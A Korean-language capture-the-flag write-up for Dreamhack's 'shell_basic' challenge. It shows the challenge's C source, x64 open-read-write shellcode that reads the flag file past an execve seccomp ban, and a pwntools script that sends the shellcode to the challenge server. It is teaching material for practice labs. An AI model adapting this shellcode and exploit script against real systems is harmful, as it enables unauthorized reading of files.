
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
#include <stddef.h>
#include <cstddef>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
1. 문제 분석 (Target 환경 파악)

2. 어셈블리 설계 (Intel 방식)
Intel 방식은 mov [목적지], [출발지] 방향으로 데이터가 흐릅니다. (오른쪽에서 왼쪽!)
A. 경로 문자열 스택에 쌓기 (리틀 엔디언)
문자열을 8바이트씩 잘라서 뒤에서부터 스택에 push 합니다.

B. ORW 시스템 콜 흐름

※ x64 리눅스 시스템 콜 규격
3. 최종 어셈블리 코드 (orw.asm)
section .text
global _start
_start:
; [1] OPEN
push 0x00
mov rax, 0x676e6f6f6f6f6f6f ; "oooooong"
push rax
mov rax, 0x6c5f73695f656d61 ; "ame_is_l"
push rax
mov rax, 0x6e5f67616c662f63 ; "c/flag_n"
push rax
mov rax, 0x697361625f6c6c65 ; "ell_basi"
push rax
mov rax, 0x68732f656d6f682f ; "/home/sh"
push rax
mov rdi, rsp ; 파일 경로가 저장된 스택 주소
xor rsi, rsi ; O_RDONLY (0)
xor rdx, rdx ; mode (0)
mov rax, 2 ; sys_open
syscall
; [2] READ
mov rdi, rax ; open으로 얻은 fd
mov rsi, rsp ; 읽은 내용을 담을 버퍼 (스택 활용)
mov rdx, 0x40 ; 읽을 크기 (64바이트)
xor rax, rax ; sys_read (0)
syscall
; [3] WRITE
mov rdi, 1 ; stdout (1)
; rsi는 이미 rsp이므로 생략 가능
mov rdx, 0x40 ; 출력할 크기
mov rax, 1 ; sys_write (1)
syscall
; [4] EXIT
xor rdi, rdi
mov rax, 60 ; sys_exit
syscall
4. 컴파일 및 바이너리 추출
터미널에서 아래 명령어를 순서대로 실행하여 기계어 알맹이(orw.bin)만 추출
nasm -f elf64 orw.asm -o orw.o
objcopy --dump-section .text=orw.bin orw.o
5. 파이썬 익스플로잇 스크립트 (ex.py)
서버에 접속해서 우리가 만든 기계어를 전송하는 단계
from pwn import *
# 1. 서버 접속 (드림해크 포털 확인)
p = remote('host3.dreamhack.games', 12345)
# 2. 셸코드 로드
with open("./orw.bin", "rb") as f:
shellcode = f.read()
# 3. 데이터 전송
p.recvuntil(b"shellcode: ")
p.send(shellcode)
# 4. 결과 출력 (바이너리 모드로 출력하여 에러 방지)
print(p.recvall())



